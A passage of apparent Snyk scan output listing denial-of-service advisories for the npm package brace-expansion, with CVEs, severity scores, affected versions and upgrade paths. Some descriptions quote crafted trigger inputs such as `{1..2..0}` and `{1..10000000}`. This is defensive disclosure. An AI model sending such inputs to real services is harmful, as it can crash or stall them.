Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ 